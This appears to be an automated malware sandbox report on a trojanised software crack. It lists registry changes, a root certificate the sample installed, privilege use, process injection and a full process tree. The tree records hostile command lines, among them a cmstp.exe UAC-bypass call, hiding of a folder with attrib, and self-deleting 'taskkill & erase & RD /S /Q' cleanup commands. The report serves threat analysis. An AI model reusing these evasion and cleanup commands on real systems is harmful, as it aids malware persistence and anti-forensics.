Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\2500 = "3"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\2500 = "3"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\2500 = "3"	explorer.exe

Modifies Internet Explorer Protected Mode Banner 1 TTPs 1 IoCs

Modify Registry

Processes:

explorer.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main\NoProtectedModeBanner = "1"	explorer.exe

Modifies Internet Explorer settings 1 TTPs 5 IoCs

adware spyware

Modify Registry

Processes:

regedit.exeexplorer.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\VersionManager	regedit.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\VersionManager\DownloadVersionList = "0"	regedit.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\VersionManager	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\VersionManager\DownloadVersionList = "0"	explorer.exe

Modifies registry class 1 IoCs

Processes:

cmd.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings cmd.exe
Modifies registry key 1 TTPs 3 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exereg.exe

pid process

3740 reg.exe
5152 reg.exe
4888 reg.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings	cmd.exe

pid	process
3740	reg.exe
5152	reg.exe
4888	reg.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

Processes:

ff8snSa94T.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	ff8snSa94T.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800000f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	ff8snSa94T.exe

NTFS ADS 2 IoCs

Processes:

explorer.exe

description	ioc	process
File opened for modification	C:\Users\Admin\AppData\Local\Temp\1yk35mc99y_1.exe:150EFC68	explorer.exe
File created	C:\Users\Admin\AppData\Local\Temp\1yk35mc99y_1.exe:150EFC68	explorer.exe

Runs regedit.exe 1 IoCs

Processes:

regedit.exe

pid process

4776 regedit.exe

pid	process
4776	regedit.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

data.datMicrosoft.VisualStudio.Package.LanguageService.11.0.exeexplorer.exedw20.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
560	data.dat
560	data.dat
2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe
2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe
2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe
2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe
2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe
2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe
2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe
2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe
1872	explorer.exe
1872	explorer.exe
2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe
2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe
2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe
1872	explorer.exe
1872	explorer.exe
2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe
2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe
2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe
2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe
2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe
2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe
2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe
2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe
1548	dw20.exe
1548	dw20.exe
2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe
2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe
2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe
2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe
2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe
2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe
2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe
2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe
1872	explorer.exe
1872	explorer.exe
2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe
2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe
4572	powershell.exe
4572	powershell.exe
4564	powershell.exe
4564	powershell.exe
2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe
4572	powershell.exe
4564	powershell.exe
2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe
2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe
4128	powershell.exe
4128	powershell.exe
2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe
4572	powershell.exe
4640	powershell.exe
4640	powershell.exe
4564	powershell.exe
2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe
4128	powershell.exe
4640	powershell.exe
2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe
2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe
4128	powershell.exe
4640	powershell.exe
2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe
2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe

Suspicious behavior: MapViewOfSection 39 IoCs

Processes:

bb.exeexplorer.exeriu.exeFGbfttrev.exeFDvbcgfert.exeFGbfttrev.exe1yk35mc99y_1.exem1e313173.exeFGbfttrev.exeFDvbcgfert.exe

pid	process
3848	bb.exe
3848	bb.exe
1872	explorer.exe
1872	explorer.exe
1872	explorer.exe
1872	explorer.exe
1872	explorer.exe
1872	explorer.exe
1872	explorer.exe
1872	explorer.exe
1872	explorer.exe
1872	explorer.exe
1872	explorer.exe
1872	explorer.exe
1872	explorer.exe
1872	explorer.exe
1872	explorer.exe
1872	explorer.exe
4348	riu.exe
1872	explorer.exe
1872	explorer.exe
1872	explorer.exe
1872	explorer.exe
4280	FGbfttrev.exe
4468	FDvbcgfert.exe
4644	FGbfttrev.exe
1872	explorer.exe
1872	explorer.exe
1872	explorer.exe
1872	explorer.exe
1872	explorer.exe
1872	explorer.exe
4068	1yk35mc99y_1.exe
4068	1yk35mc99y_1.exe
1872	explorer.exe
1872	explorer.exe
5200	m1e313173.exe
5540	FGbfttrev.exe
5608	FDvbcgfert.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

bb.exeMicrosoft.VisualStudio.Package.LanguageService.11.0.exewmic.exeexplorer.exe

description	pid	process
Token: SeDebugPrivilege	3848	bb.exe
Token: SeRestorePrivilege	3848	bb.exe
Token: SeBackupPrivilege	3848	bb.exe
Token: SeLoadDriverPrivilege	3848	bb.exe
Token: SeCreatePagefilePrivilege	3848	bb.exe
Token: SeShutdownPrivilege	3848	bb.exe
Token: SeTakeOwnershipPrivilege	3848	bb.exe
Token: SeChangeNotifyPrivilege	3848	bb.exe
Token: SeCreateTokenPrivilege	3848	bb.exe
Token: SeMachineAccountPrivilege	3848	bb.exe
Token: SeSecurityPrivilege	3848	bb.exe
Token: SeAssignPrimaryTokenPrivilege	3848	bb.exe
Token: SeCreateGlobalPrivilege	3848	bb.exe
Token: 33	3848	bb.exe
Token: SeDebugPrivilege	2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe
Token: SeIncreaseQuotaPrivilege	3992	wmic.exe
Token: SeSecurityPrivilege	3992	wmic.exe
Token: SeTakeOwnershipPrivilege	3992	wmic.exe
Token: SeLoadDriverPrivilege	3992	wmic.exe
Token: SeSystemProfilePrivilege	3992	wmic.exe
Token: SeSystemtimePrivilege	3992	wmic.exe
Token: SeProfSingleProcessPrivilege	3992	wmic.exe
Token: SeIncBasePriorityPrivilege	3992	wmic.exe
Token: SeCreatePagefilePrivilege	3992	wmic.exe
Token: SeBackupPrivilege	3992	wmic.exe
Token: SeRestorePrivilege	3992	wmic.exe
Token: SeShutdownPrivilege	3992	wmic.exe
Token: SeDebugPrivilege	3992	wmic.exe
Token: SeSystemEnvironmentPrivilege	3992	wmic.exe
Token: SeRemoteShutdownPrivilege	3992	wmic.exe
Token: SeUndockPrivilege	3992	wmic.exe
Token: SeManageVolumePrivilege	3992	wmic.exe
Token: 33	3992	wmic.exe
Token: 34	3992	wmic.exe
Token: 35	3992	wmic.exe
Token: 36	3992	wmic.exe
Token: SeIncreaseQuotaPrivilege	3992	wmic.exe
Token: SeSecurityPrivilege	3992	wmic.exe
Token: SeTakeOwnershipPrivilege	3992	wmic.exe
Token: SeLoadDriverPrivilege	3992	wmic.exe
Token: SeSystemProfilePrivilege	3992	wmic.exe
Token: SeSystemtimePrivilege	3992	wmic.exe
Token: SeProfSingleProcessPrivilege	3992	wmic.exe
Token: SeIncBasePriorityPrivilege	3992	wmic.exe
Token: SeCreatePagefilePrivilege	3992	wmic.exe
Token: SeBackupPrivilege	3992	wmic.exe
Token: SeRestorePrivilege	3992	wmic.exe
Token: SeShutdownPrivilege	3992	wmic.exe
Token: SeDebugPrivilege	3992	wmic.exe
Token: SeSystemEnvironmentPrivilege	3992	wmic.exe
Token: SeRemoteShutdownPrivilege	3992	wmic.exe
Token: SeUndockPrivilege	3992	wmic.exe
Token: SeManageVolumePrivilege	3992	wmic.exe
Token: 33	3992	wmic.exe
Token: 34	3992	wmic.exe
Token: 35	3992	wmic.exe
Token: 36	3992	wmic.exe
Token: SeDebugPrivilege	1872	explorer.exe
Token: SeRestorePrivilege	1872	explorer.exe
Token: SeBackupPrivilege	1872	explorer.exe
Token: SeLoadDriverPrivilege	1872	explorer.exe
Token: SeCreatePagefilePrivilege	1872	explorer.exe
Token: SeShutdownPrivilege	1872	explorer.exe
Token: SeTakeOwnershipPrivilege	1872	explorer.exe

Suspicious use of SetWindowsHookEx 16 IoCs

Processes:

data.datKeygen.exeriu.exeFDvbcgfert.exeFGbfttrev.exeeav.exeFGbfttrev.exetC4JTtEJBE.exem1e313173.exeFGbfttrev.exeFDvbcgfert.exePLSkebaejl.exeYApQeKA3Xe.exe

pid	process
560	data.dat
4340	Keygen.exe
4348	riu.exe
4468	FDvbcgfert.exe
4280	FGbfttrev.exe
4356	eav.exe
4644	FGbfttrev.exe
4700	tC4JTtEJBE.exe
4700	tC4JTtEJBE.exe
5200	m1e313173.exe
5540	FGbfttrev.exe
5608	FDvbcgfert.exe
2800	PLSkebaejl.exe
2800	PLSkebaejl.exe
6492	YApQeKA3Xe.exe
6492	YApQeKA3Xe.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

amtemu.v0.9.2.win-painter_edited.execmd.exekey.execmd.exebb.exeMicrosoft.VisualStudio.Package.LanguageService.11.0.exebb.exeexplorer.exe

description	pid	process	target process
PID 4092 wrote to memory of 2172	4092	amtemu.v0.9.2.win-painter_edited.exe	cmd.exe
PID 4092 wrote to memory of 2172	4092	amtemu.v0.9.2.win-painter_edited.exe	cmd.exe
PID 4092 wrote to memory of 2172	4092	amtemu.v0.9.2.win-painter_edited.exe	cmd.exe
PID 2172 wrote to memory of 1008	2172	cmd.exe	key.exe
PID 2172 wrote to memory of 1008	2172	cmd.exe	key.exe
PID 2172 wrote to memory of 1008	2172	cmd.exe	key.exe
PID 2172 wrote to memory of 2812	2172	cmd.exe	timeout.exe
PID 2172 wrote to memory of 2812	2172	cmd.exe	timeout.exe
PID 2172 wrote to memory of 2812	2172	cmd.exe	timeout.exe
PID 1008 wrote to memory of 212	1008	key.exe	cmd.exe
PID 1008 wrote to memory of 212	1008	key.exe	cmd.exe
PID 1008 wrote to memory of 212	1008	key.exe	cmd.exe
PID 212 wrote to memory of 2576	212	cmd.exe	attrib.exe
PID 212 wrote to memory of 2576	212	cmd.exe	attrib.exe
PID 212 wrote to memory of 2576	212	cmd.exe	attrib.exe
PID 212 wrote to memory of 1020	212	cmd.exe	find.exe
PID 212 wrote to memory of 1020	212	cmd.exe	find.exe
PID 212 wrote to memory of 1020	212	cmd.exe	find.exe
PID 212 wrote to memory of 564	212	cmd.exe	find.exe
PID 212 wrote to memory of 564	212	cmd.exe	find.exe
PID 212 wrote to memory of 564	212	cmd.exe	find.exe
PID 212 wrote to memory of 560	212	cmd.exe	data.dat
PID 212 wrote to memory of 560	212	cmd.exe	data.dat
PID 212 wrote to memory of 560	212	cmd.exe	data.dat
PID 2172 wrote to memory of 2112	2172	cmd.exe	Microsoft.VisualStudio.Package.LanguageService.11.0.exe
PID 2172 wrote to memory of 2112	2172	cmd.exe	Microsoft.VisualStudio.Package.LanguageService.11.0.exe
PID 2172 wrote to memory of 2112	2172	cmd.exe	Microsoft.VisualStudio.Package.LanguageService.11.0.exe
PID 2172 wrote to memory of 1604	2172	cmd.exe	timeout.exe
PID 2172 wrote to memory of 1604	2172	cmd.exe	timeout.exe
PID 2172 wrote to memory of 1604	2172	cmd.exe	timeout.exe
PID 2172 wrote to memory of 2476	2172	cmd.exe	bb.exe
PID 2172 wrote to memory of 2476	2172	cmd.exe	bb.exe
PID 2172 wrote to memory of 2476	2172	cmd.exe	bb.exe
PID 2172 wrote to memory of 3024	2172	cmd.exe	timeout.exe
PID 2172 wrote to memory of 3024	2172	cmd.exe	timeout.exe
PID 2172 wrote to memory of 3024	2172	cmd.exe	timeout.exe
PID 2476 wrote to memory of 3848	2476	bb.exe	bb.exe
PID 2476 wrote to memory of 3848	2476	bb.exe	bb.exe
PID 2476 wrote to memory of 3848	2476	bb.exe	bb.exe
PID 2476 wrote to memory of 3848	2476	bb.exe	bb.exe
PID 2476 wrote to memory of 3848	2476	bb.exe	bb.exe
PID 2112 wrote to memory of 3992	2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe	wmic.exe
PID 2112 wrote to memory of 3992	2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe	wmic.exe
PID 2112 wrote to memory of 3992	2112	Microsoft.VisualStudio.Package.LanguageService.11.0.exe	wmic.exe
PID 3848 wrote to memory of 1872	3848	bb.exe	explorer.exe
PID 3848 wrote to memory of 1872	3848	bb.exe	explorer.exe
PID 3848 wrote to memory of 1872	3848	bb.exe	explorer.exe
PID 2172 wrote to memory of 1336	2172	cmd.exe	puttty.exe
PID 2172 wrote to memory of 1336	2172	cmd.exe	puttty.exe
PID 2172 wrote to memory of 1336	2172	cmd.exe	puttty.exe
PID 2172 wrote to memory of 3980	2172	cmd.exe	timeout.exe
PID 2172 wrote to memory of 3980	2172	cmd.exe	timeout.exe
PID 2172 wrote to memory of 3980	2172	cmd.exe	timeout.exe
PID 1872 wrote to memory of 4092	1872	explorer.exe	amtemu.v0.9.2.win-painter_edited.exe
PID 1872 wrote to memory of 4092	1872	explorer.exe	amtemu.v0.9.2.win-painter_edited.exe
PID 1872 wrote to memory of 2172	1872	explorer.exe	cmd.exe
PID 1872 wrote to memory of 2172	1872	explorer.exe	cmd.exe
PID 1872 wrote to memory of 1008	1872	explorer.exe	key.exe
PID 1872 wrote to memory of 1008	1872	explorer.exe	key.exe
PID 1872 wrote to memory of 212	1872	explorer.exe	cmd.exe
PID 1872 wrote to memory of 212	1872	explorer.exe	cmd.exe
PID 1872 wrote to memory of 560	1872	explorer.exe	data.dat
PID 1872 wrote to memory of 560	1872	explorer.exe	data.dat
PID 1872 wrote to memory of 2112	1872	explorer.exe	Microsoft.VisualStudio.Package.LanguageService.11.0.exe

Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exe

pid process

2576 attrib.exe

pid	process
2576	attrib.exe

C:\Users\Admin\AppData\Local\Temp\amtemu.v0.9.2.win-painter_edited.exe
"C:\Users\Admin\AppData\Local\Temp\amtemu.v0.9.2.win-painter_edited.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4092

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7574.tmp\start.bat" C:\Users\Admin\AppData\Local\Temp\amtemu.v0.9.2.win-painter_edited.exe"
2⤵
- Checks whether UAC is enabled
- Maps connected drives based on registry
- Suspicious use of WriteProcessMemory
PID:2172

C:\Users\Admin\AppData\Local\Temp\7574.tmp\key.exe
key.exe
3⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Maps connected drives based on registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:1008

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ytmp\t12821.bat" "C:\Users\Admin\AppData\Local\Temp\7574.tmp\key.exe" "
4⤵
- Drops file in Drivers directory
- Adds Run key to start application
- Checks whether UAC is enabled
- Maps connected drives based on registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:212

C:\Windows\SysWOW64\attrib.exe
attrib +h C:\Users\Admin\AppData\Local\Temp\ytmp
5⤵
- Views/modifies file attributes
PID:2576

C:\Windows\SysWOW64\find.exe
FIND /C /I "0.0.0.0 cracksmind.com" C:\Windows\system32\drivers\etc\hosts
5⤵
PID:1020

C:\Windows\SysWOW64\find.exe
FIND /C /I "0.0.0.0 www.cracksmind.com" C:\Windows\system32\drivers\etc\hosts
5⤵
PID:564

C:\Users\Admin\AppData\Local\Temp\afolder\data.dat
C:\Users\Admin\AppData\Local\Temp\afolder/data.dat
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Checks whether UAC is enabled
- Maps connected drives based on registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:560

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 1
3⤵
- Delays execution with timeout.exe
PID:2812

C:\Users\Admin\AppData\Local\Temp\7574.tmp\Microsoft.VisualStudio.Package.LanguageService.11.0.exe
Microsoft.VisualStudio.Package.LanguageService.11.0.exe
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2112

C:\Windows\SysWOW64\Wbem\wmic.exe
"wmic" os get Caption /format:list
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:3992

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 2
3⤵
- Delays execution with timeout.exe
PID:1604

C:\Users\Admin\AppData\Local\Temp\7574.tmp\bb.exe
bb.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2476

C:\Users\Admin\AppData\Local\Temp\7574.tmp\bb.exe
"C:\Users\Admin\AppData\Local\Temp\7574.tmp\bb.exe"
4⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Checks processor information in registry
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3848

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
5⤵
- Modifies firewall policy service
- Checks BIOS information in registry
- Adds Run key to start application
- Drops desktop.ini file(s)
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Checks processor information in registry
- Enumerates system info in registry
- Modifies Internet Explorer Protected Mode
- Modifies Internet Explorer Protected Mode Banner
- Modifies Internet Explorer settings
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1872

C:\Users\Admin\AppData\Local\Temp\1yk35mc99y_1.exe
/suac
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4688

C:\Users\Admin\AppData\Local\Temp\1yk35mc99y_1.exe
"C:\Users\Admin\AppData\Local\Temp\1yk35mc99y_1.exe"
7⤵
- Modifies firewall policy service
- Executes dropped EXE
- Checks for any installed AV software in registry
- Checks whether UAC is enabled
- Checks processor information in registry
- Suspicious behavior: MapViewOfSection
PID:4068

C:\Windows\SysWOW64\regedit.exe
"C:\Windows\SysWOW64\regedit.exe"
8⤵
- Modifies security service
- Adds Run key to start application
- Modifies Internet Explorer settings
- Runs regedit.exe
PID:4776

C:\Users\Admin\AppData\Local\Temp\m1e313173.exe
"C:\Users\Admin\AppData\Local\Temp\m1e313173.exe"
6⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Maps connected drives based on registry
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:5200

C:\Users\Admin\AppData\Local\Temp\FGbfttrev.exe
"C:\Users\Admin\AppData\Local\Temp\FGbfttrev.exe"
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:5540

C:\Users\Admin\AppData\Local\Temp\FGbfttrev.exe
"C:\Users\Admin\AppData\Local\Temp\FGbfttrev.exe"
8⤵
- Executes dropped EXE
PID:4552

C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe
"C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe"
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:5608

C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe
"C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe"
8⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:752

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /pid 752 & erase C:\Users\Admin\AppData\Local\Temp\FDvbcgfert.exe & RD /S /Q C:\\ProgramData\\302130285904197\\* & exit
9⤵
PID:5388

C:\Windows\SysWOW64\taskkill.exe
taskkill /pid 752
10⤵
- Kills process with taskkill
PID:5404

C:\Users\Admin\AppData\Local\Temp\m1e313173.exe
"C:\Users\Admin\AppData\Local\Temp\m1e313173.exe"
7⤵
- Executes dropped EXE
PID:5116

C:\Users\Admin\AppData\Local\Temp\k1o31iq1195.exe
"C:\Users\Admin\AppData\Local\Temp\k1o31iq1195.exe"
6⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Maps connected drives based on registry
- Suspicious use of SetThreadContext
PID:6012

C:\Users\Admin\AppData\Local\Temp\azchgftrq.exe
"C:\Users\Admin\AppData\Local\Temp\azchgftrq.exe"
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:6848

C:\Users\Admin\AppData\Local\Temp\ozchgftrq.exe
"C:\Users\Admin\AppData\Local\Temp\ozchgftrq.exe"
8⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:6884

C:\Users\Admin\AppData\Local\Temp\ozchgftrq.exe
"{path}"
9⤵
- Loads dropped DLL
- Checks processor information in registry
PID:7084

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /pid 7084 & erase C:\Users\Admin\AppData\Local\Temp\ozchgftrq.exe & RD /S /Q C:\\ProgramData\\339007076251744\\* & exit
10⤵
PID:2136

C:\Windows\SysWOW64\taskkill.exe
taskkill /pid 7084
11⤵
- Kills process with taskkill
PID:4728

C:\Users\Admin\AppData\Local\Temp\azchgftrq.exe
"{path}"
8⤵
PID:1708

C:\Users\Admin\AppData\Local\Temp\k1o31iq1195.exe
"{path}"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops desktop.ini file(s)
PID:6880

C:\Users\Admin\AppData\Local\Temp\VIdTd3Tc9z.exe
"C:\Users\Admin\AppData\Local\Temp\VIdTd3Tc9z.exe"
8⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:6972

C:\Users\Admin\AppData\Local\Temp\VIdTd3Tc9z.exe
"C:\Users\Admin\AppData\Local\Temp\VIdTd3Tc9z.exe"
9⤵
- Executes dropped EXE
PID:4172

C:\Users\Admin\AppData\Local\Temp\pLeynHJpzs.exe
"C:\Users\Admin\AppData\Local\Temp\pLeynHJpzs.exe"
8⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:6768

C:\Program Files (x86)\internet explorer\ieinstal.exe
"C:\Program Files (x86)\internet explorer\ieinstal.exe"
9⤵
PID:6692

C:\Users\Admin\AppData\Local\Temp\YApQeKA3Xe.exe
"C:\Users\Admin\AppData\Local\Temp\YApQeKA3Xe.exe"
8⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:6280

C:\Users\Admin\AppData\Local\Temp\YApQeKA3Xe.exe
"C:\Users\Admin\AppData\Local\Temp\YApQeKA3Xe.exe"
9⤵
- Executes dropped EXE
PID:5004

C:\Users\Admin\AppData\Local\Temp\YApQeKA3Xe.exe
"C:\Users\Admin\AppData\Local\Temp\YApQeKA3Xe.exe"
9⤵
- Executes dropped EXE
PID:5104

C:\Users\Admin\AppData\Local\Temp\YApQeKA3Xe.exe
"C:\Users\Admin\AppData\Local\Temp\YApQeKA3Xe.exe"
9⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:6492

\??\c:\windows\SysWOW64\cmstp.exe
"c:\windows\system32\cmstp.exe" /au C:\Windows\temp\wckglyce.inf
10⤵
PID:5060

C:\Users\Admin\AppData\Local\Temp\4VaD9fscp6.exe
"C:\Users\Admin\AppData\Local\Temp\4VaD9fscp6.exe"
8⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5272

C:\Users\Admin\AppData\Local\Temp\4VaD9fscp6.exe
"C:\Users\Admin\AppData\Local\Temp\4VaD9fscp6.exe"
9⤵
- Executes dropped EXE
- Windows security modification
